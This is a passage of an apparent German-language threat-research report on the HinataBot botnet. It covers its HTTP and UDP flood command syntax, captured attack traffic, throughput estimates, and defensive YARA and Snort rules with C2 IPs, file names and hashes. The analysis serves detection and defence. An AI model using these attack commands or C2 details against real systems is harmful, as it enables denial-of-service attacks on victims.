Zunächst wurde ein neues Context -Objekt und eine neue RequestWithContext -Klasse erstellt. Dieses Context -Objekt wird mit HTTP-Headern gefüllt, die während des Angriffs von der RequestWithContext -Klasse verwendet werden. Einige dieser Header sind statisch, andere werden randomisiert. In Abbildung 30 sehen Sie die Aufrufe Rand Seed und Intn. Diese werden verwendet, um einen zufälligen User-Agent aus einer Liste von zehn statischen User-Agents auszuwählen, die in der Binärdatei hartcodiert sind. Im Folgenden erfahren Sie, auf welche Header wir achten müssen, während wir den Traffic analysieren, der während eines http_flood -Angriffs von der Malware kommt.
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Linux; Android 10; JSN-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.58 Mobile Safari/537.36
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: hTjpyhseGCbpyADUlXRyQgvTmHfrr
Keep-Alive: 20319
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: ljwAbmstAHTcIeqkyIZVgRmJpibg
Keep-Alive: 20456
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: YnBsbIPmklTccQrcLXZeFFUJAHMa
Keep-Alive: 20084
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
Abb. 31: Drei Beispiel-Angriffsanfragen für http_flood
Sehen wir uns einige wichtige Aspekte der HTTP-Header an, die wir bei den simulierten Angriffsereignissen beobachtet haben. Es gibt hier mehrere ziemlich offensichtliche Werte für das Fingerprinting, sowohl in statischen als auch in randomisierten Feldern. Verteidiger sollten sich diesen Beispieltraffic ansehen. Doch da wir dem Entwickler nicht dabei helfen wollen, seine Angriffsmöglichkeiten zu verbessern, wollen wir nicht genau herausstellen, warum dieser Traffic für Verteidiger leicht zu erkennen und zu blockieren ist. Ohne den Malware-Entwicklern zu sehr zu helfen, können wir sagen, dass ein Großteil der Payload hinsichtlich Größe, Reihenfolge und Wert ziemlich statisch ist. Einige Felder sind randomisiert – dazu gehören User-Agent (aus einer Liste von zehn statischen User-Agents), Keep-Alive und Cookie-Header. Verteidiger sollten sich auch die Header Host und Referrer im Probentraffic in Abbildung 31 genauer ansehen. Wenn der Angriffsbefehl keinen Zielport in der Target-Anweisung angibt, wird er standardmäßig auf TCP/80 oder TCP/443 gesetzt und der Port ist in keinem der Header enthalten.
API_CONNECTION_ATTACK: 0 https://user:pass@127.0.0.1/ouch 120
Abb. 32: Angriffsbefehlsstruktur für einen http_flood-Angriff mit umfassenderer Konfiguration
Es ist auch erwähnenswert, dass die Konfiguration dieses Angriffstyps über die Target-Anweisung erfolgt, da der Go NET.http.Client genutzt wird, und dass sie alles unterstützt, was die (gut ausgestattete und sehr fähige) Bibliothek tut. Dazu gehören HTTPS, das Befolgen von Umleitungen, Domainauflösung, HTTP-Authentifizierungsheader usw. Im Angriffsbefehl in Abbildung 32 führt die Umstellung auf https:// dazu, dass die eingebaute Bibliothek TLS und den Zielport 443 verwendet. Und da wir user:pass@ in die Target-Anweisung aufgenommen haben, wird der Traffic auch einen Authorization: Basic dXNlcjpwYXNz -Header enthalten.
Beim Verfassen dieses Beitrags scheint die Angriffsanfragemethode hartcodiert zu sein und ist daher auf HTTP-GET-Anfragen beschränkt … vorerst.
Angriffstyp 1: udp_flood
Die Struktur des udp_flood -Angriffsbefehls erfordert alle zuvor beschriebenen Felder, auch wenn die angegebene Option nicht vorhanden ist (Abbildung 33). Bei der Analyse und den Tests konnten wir ein einziges Optionsfeld identifizieren, das zur Steuerung des Zielports verwendet wird. Wird keine Option übergeben, kann die Binärdatei den Angriffsbefehl nicht parsen – in einigen Fällen führen über dieses Feld übergebene Werte sogar zum Absturz des Bots.
API_CONNECTION_ATTACK: 1 127.127.127.127 120 1531337
Abb. 33: Angriffsbefehlsstruktur für einen udp_flood-Angriff
Dieser Angriffsbefehl sieht etwas anders aus als die http_flood -Variante, hauptsächlich aufgrund des UDP_OPTIONS -Wertes (1531337), der im finalen Parameter übergeben wird. Dieser Parameter steuert den Zielport, an den die UDP-Pakete gesendet werden. Der Wert besteht aus drei Teilen: Der erste Teil ist der Parametertyp (1), der zweite ist die Länge des Wertes (5) und der dritte ist der Wert selbst (31337).
Dieser vierte Parameter scheint für das Parsing des Befehls erforderlich zu sein, aber der Wert kann verworfen werden. Und wenn hier kein Portwert angegeben wird, verwendet die Binärdatei standardmäßig UDP/80 als Zielport des Angriffs. Zunächst wurde angenommen, dass wir – da diese Daten auf diese Weise übergeben werden – zusätzliche Konfigurationsparameter für 1–9 finden würden. Doch es scheint, dass nur der Port-Parameter (1) Auswirkungen auf den Angriffstraffic hat, der den Bot verlässt.
Der Screenshot in Abbildung 34 zeigt die Einrichtung des udp_flood -Sockets. Der Bot verwendet die Go-Bibliothek net mit net.Dial , um das UDP-Socket zu erstellen. Anschließend werden 512 Worker erstellt, die den Socket gemeinsam nutzen, wobei jeder in einer Schleife ausgeführt wird, die Daten über den Socket überträgt, bis der Dauer-Timer einen Kill-Befehl über einen gemeinsam genutzten Kanal sendet. Die UDP-Pakete (Abbildung 35), die den Bot verlassen, sind sehr groß (65.549 Byte pro Paket insgesamt) und werden wahrscheinlich fragmentiert bei Opfern über das Internet ankommen. Diese Größe ist innerhalb der Binärdatei hartcodiert und kann bei Attacken nicht vom Angreifer gesteuert werden.
15:59:00.451351 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.451679 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.458964 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.459266 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.460467 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.461456 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.461807 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.462932 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.463561 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.463786 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.465147 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.465835 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.466018 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.466740 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.467265 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.467407 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.468113 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.468737 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.469076 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.470517 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471034 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471214 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471957 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.472804 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.472940 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length
Abb. 35: Paketerfassung von UDP-Angriffspaketen
Die 65.507 Bytes im UDP-Datensegment sind allesamt Null-Bytes (Abbildung 36). Der IP-ID-Header wird während des Angriffs sequentiell erhöht. Und obwohl der Quellport flüchtig ist, bleibt er während der Dauer der Flood statisch. Dies ist aller Wahrscheinlichkeit nach eine Nebenwirkung davon, dass net.Dial den UDP-Socket über den gesamten Angreifer-Workerpool hinweg verwaltet. Eine weitere Beobachtung sind die fehlgeschlagenen Prüfsummen der UDP-Daten.
Wie haben sie abgeschnitten?
Um einen Benchmark für diese beiden Angriffsmethoden zu erstellen, führten wir zwei 10-Sekunden-Angriffe durch, wobei wir für jede Methode nur die Angriffsflows aus der Übertragung in Paketaufzeichnungen aufgeteilt haben. Wir konnten dann die Gesamtgröße des pro Angriffstyp generierten Traffics ermitteln.
Die http_flood generierte 3,4 MB an Paketerfassungsdaten und übertrug 20.430 HTTP-Anfragen. Die Anfragegrößen reichten von 484 bis 589 Byte pro Anfrage, wobei die Größen hauptsächlich aufgrund der Randomisierung von User-Agent- und Cookie-Header-Daten variierten. Die Länge dieser Anfragepakete wird auch durch die Einbeziehung zusätzlicher Header (z. B. „Authorization Basic“-Daten), URL-Pfad- und GET-Parameter-Auffüllung und die Einbeziehung von TLS beeinflusst. Sie sind also mit Vorsicht zu genießen.
Es ist erwähnenswert, dass der Server, auf den dieser Angriff abzielte, sehr einfach aufgebaut und mit nur einem Thread ausgestattet war. Es ist möglich, dass diese Zahlen höher ausfallen, wenn der Angriff auf einen Server gerichtet ist, der schneller auf den Workerpool reagieren kann.
Die udp_flood generierte 6.733 Pakete für insgesamt 421 MB an Paketerfassungsdaten bei der Übertragung. Ansonsten ist dieser Angriff nicht sehr interessant: Er ist volumetrisch und scheint gute Arbeit zu leisten, wenn es darum geht, Volumen zu schaffen. Wie bereits erwähnt, werden die Opfer aufgrund der Größe der Pakete, die durch diesen Angriff generiert werden, bei realen Angriffsereignissen wahrscheinlich eine Flut von Fragmenten sehen.
Mit unseren 10-Sekunden-Probensätzen und einer theoretischen Botnet-Größe können wir damit beginnen, die Angriffsgröße abzuschätzen. Wenn das Botnet nur 1.000 Knoten enthielt, würde die resultierende UDP-Flood etwa 336 Gbit/s pro Sekunde betragen. Mit 10.000 Knoten (ca. 6,9 % der Größe von Mirai bei seinem Spitzenwert) würde die UDP-Flood mehr als 3,3 Tbit/s betragen. Die HTTP-Flood bei 1.000 Knoten würde etwa 2,7 Gbit/s und mehr als 2 Millionen Anfragen pro Sekunde erzeugen. Mit 10.000 Knoten steigen diese Zahlen auf 27 Gbit/s und 20,4 Millionen Anfragen.
Diese theoretischen Fähigkeiten berücksichtigen natürlich nicht die verschiedenen Arten von Servern, die an einem Angriff beteiligt wären, ihre jeweilige Bandbreite und Hardwarekapazitäten usw. – aber Sie können sich zumindest ein Bild machen. Hoffen wir, dass sich die HinataBot-Entwickler neuen Hobbys zuwenden, bevor wir uns wirklich mit dem vollen Umfang ihres Botnet befassen müssen.
Fazit
HinataBot ist das neueste Beispiel für die sich ständig weiterentwickelnde Bedrohungslandschaft, insbesondere in Bezug auf Botnets. Malware-Ersteller entwickeln ihre Implementierungsmethoden, Sprachen und Verbreitungsmethoden immer weiter. Indem sie sich auf ältere, bewährte Techniken wie die von Mirai stützen, können sich Angreifer stärker auf die Entwicklung von Komponenten konzentrieren, die sich der Erkennung entziehen, sich ständig weiterentwickeln und neue Funktionen hinzufügen.
Durch die weitere Erforschung und Analyse sich entwickelnder Bedrohungen wie HinataBot können wir die Taktiken, Techniken und Verfahren der Angreifer besser verstehen, um leistungsstärkere Verteidigungsmaßnahmen zu entwickeln. Die HinataBot-Familie nutzt alte Schwachstellen und das Brute-Forcing schwacher Passwörter für die Verbreitung aus. Dies ist ein weiteres Beispiel dafür, warum starke Passwort- und Patching-Richtlinien wichtiger denn je sind. Angreifer sind immer auf der Suche nach einfachen und einträglichen Opfern. Es Angreifern schwerer zu machen, kann also wesentlich dazu beitragen, Ihre Umgebung und das Internet sicher zu halten.
Das Ganze ist wahrscheinlich nur der Anfang für HinataBot. Das Akamai SIRT wird seine Entwicklung weiterhin beobachten und neue Erkenntnisse melden, sobald sie relevant sind.
IoCs
YARA-Regeln
HinataBot-Binärdateien
rule detect_hinatabot_strings {
Meta:
description = "This rule detects HinataBot binaries."
confidence = "high"
strings:
$s1 = "HINATA_START_NICE"
$s2 = "API_CONNECT_BOT"
$s3 = "Connection to CNC is OK!"
$s4 = "API_CONNECTION_SIGNAL_CHECK"
$s5 = "API_CONNECTION_SIGNAL_OK"
$s6 = "API_CONNECTION_ATTACK"
$s7 = "Hinata already running"
$s8 = "API_CONNECTION_KILL_ALL"
$s9 = "hinata_exists"
$s10 = "hinata_loaded"
$s11 = "HINATA_"
condition:
3 of ($s*)
}
HinataBot-Infektionsskripte
rule detect_malicious_files {
meta:
description = "This rule detects infector scripts attempting to pull down HinataBot binaries."
confidence = "high"
strings:
$file_names = /hinata-[a-z\.0-9]+/
condition:
all of them
}
Snort-Regeln
http_flood
alert tcp any any -> any any (msg:"HTTP Request with HinataBot’s static header values"; flow:established, to_server; sid:1000001; rev:1; content:"Accept-Charset|3a| ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15|0d 0a|"; content:"Accept-Encoding|3a| *,identity,gzip,deflate|0d 0a|"; content:"Content-Type|3a| multipart/form-data, application/x-url-encoded|0d 0a|"; http_method;)
Kommunikation vom C2-Server
alert tcp any any -> any 1420 (msg:"HinataBot API inbound connection detected."; sid:1000002; rev:1; content:"API_CONNECTION_SIGNAL_CHECK"; )
Kommunikation an C2-Server
alert tcp any any -> any 1420 (msg:"HinataBot API outbound connection detected."; sid:1000003; rev:1; content:"API_CONNECTION_SIGNAL_OK"; content:"API_CONNECTION_ATTACK";)
IPs
77.73.131,247
156.236.16,237
185.112.83,254
Ports
61420
4120
CVEs
CVE-2017-17215
CVE-2014-8361
Dateinamen
tftp.sh
wget.sh
hinata-linux.amd64
hinata-windows-arm5
hinata-plan9-arm5
hinata-openbsd-arm5
hinata-netbsd-arm5
hinata-linux-arm5
hinata-freebsd-arm5
hinata-windows-arm7
hinata-windows-arm64.exe
hinata-windows-arm6
hinata-windows-arm
hinata-windows-amd64.exe
hinata-windows-386.exe
hinata-solaris-amd64
hinata-plan9-arm7
hinata-plan9-arm6
hinata-plan9-arm
hinata-plan9-amd64
hinata-plan9-386
hinata-openbsd-mips64
hinata-openbsd-arm7
hinata-openbsd-arm64
hinata-openbsd-arm6
hinata-openbsd-arm
hinata-openbsd-amd64
hinata-openbsd-386
hinata-netbsd-arm7
hinata-netbsd-arm64
hinata-netbsd-arm6
hinata-netbsd-arm
hinata-netbsd-amd64
hinata-netbsd-386
hinata-linux-s390x
hinata-linux-riscv64
hinata-linux-ppc64le
hinata-linux-ppc64
hinata-linux-mipsle
hinata-linux-mips64le
hinata-linux-mips64
hinata-linux-mips
hinata-linux-arm7
hinata-linux-arm64
hinata-linux-arm6
hinata-linux-arm
hinata-linux-amd64
hinata-linux-386
hinata-js-wasm
hinata-illumos-amd64
hinata-freebsd-arm7
hinata-freebsd-arm64
hinata-freebsd-arm6
hinata-freebsd-arm
hinata-freebsd-amd64
hinata-freebsd-386
hinata-dragonfly-amd64
hinata-darwin-arm64
hinata-darwin-amd64
hinata-android-arm64
hinata-aix-ppc64
Jüngste Hashes
01422e34b2114c68cdb6ce685cd2e5673bbe5652259a0c4b862d5de2824a9375
1b958fd718f1419700c53fed10807e873e8399c354877b0a3dfceac7a8581456
8a84dc2a9a06b1fae0dd16765509f88f6f54559c36d4353fd040d02d4563f703
4aba67fdd694219ff0dff07ebd444ed154edacc00c3a61f9b661eabe811a0446
71154ad6bd1a8a79fc674c793bb82b8e7d1371eca0f909c6e4a98ef8e7f5d1da
c6a7e25290677cc7b9331343166b140f2c320764a815b241747e6913b1a386d9
92adfbe6aae06d7c99469aeb6551db8eee964b589f2b8774e29d987cfbd0e0d6
8eda08ce362c09b5f45772467f94d5370068c1798f78c5316f15647ac898c621
ff7638c0c893c021c3a059a21a71600249881afd84dc0d751d99db1c8edd3cac
a3fac6fea9201c3c3eaae47bd95e0be93e91298e48df75540958834f9e75ac4d
9875bb9dd6d159a3b327de80e151ef7f3831c0d6833ae781490d68e426b73680
6ec35ef48ffdf9a92aa8845c336b327c280e1f20d7130ba0856540aed3233bbc
C0aa34dd8dbf654d5230d4ef1db61f9befc89a0ea16cb7757edbf8a8090c9146
5643bf01e113de246575a9ec39ea12a85f9babb6ac069132ad8d1a7bfa56ed1b
845134ee7335f07b23e081f024cad5cbfc9ef453d6e2adc7970d6543292e5bcc
995681f388f5e0a405c282ae9ce22dc41f2249f0f5208254e1eec6e302d7ad7d
07326cce5325eabbe1caa2b3f8a4ab78e7913b65703c0afc3bab808441c30688
61181b4b7b7040ce4ab9c489a2b857f5a7fe8407c422327fff798f3b55e0cbe3
75c050580725279a6592eecc2b02b6fa78f5469c2f08fb1d0e2fe616beb8bf0d
E3427838132b6161f10e77d0beca1beac90c63a8ccc4aabd523041aec25aab67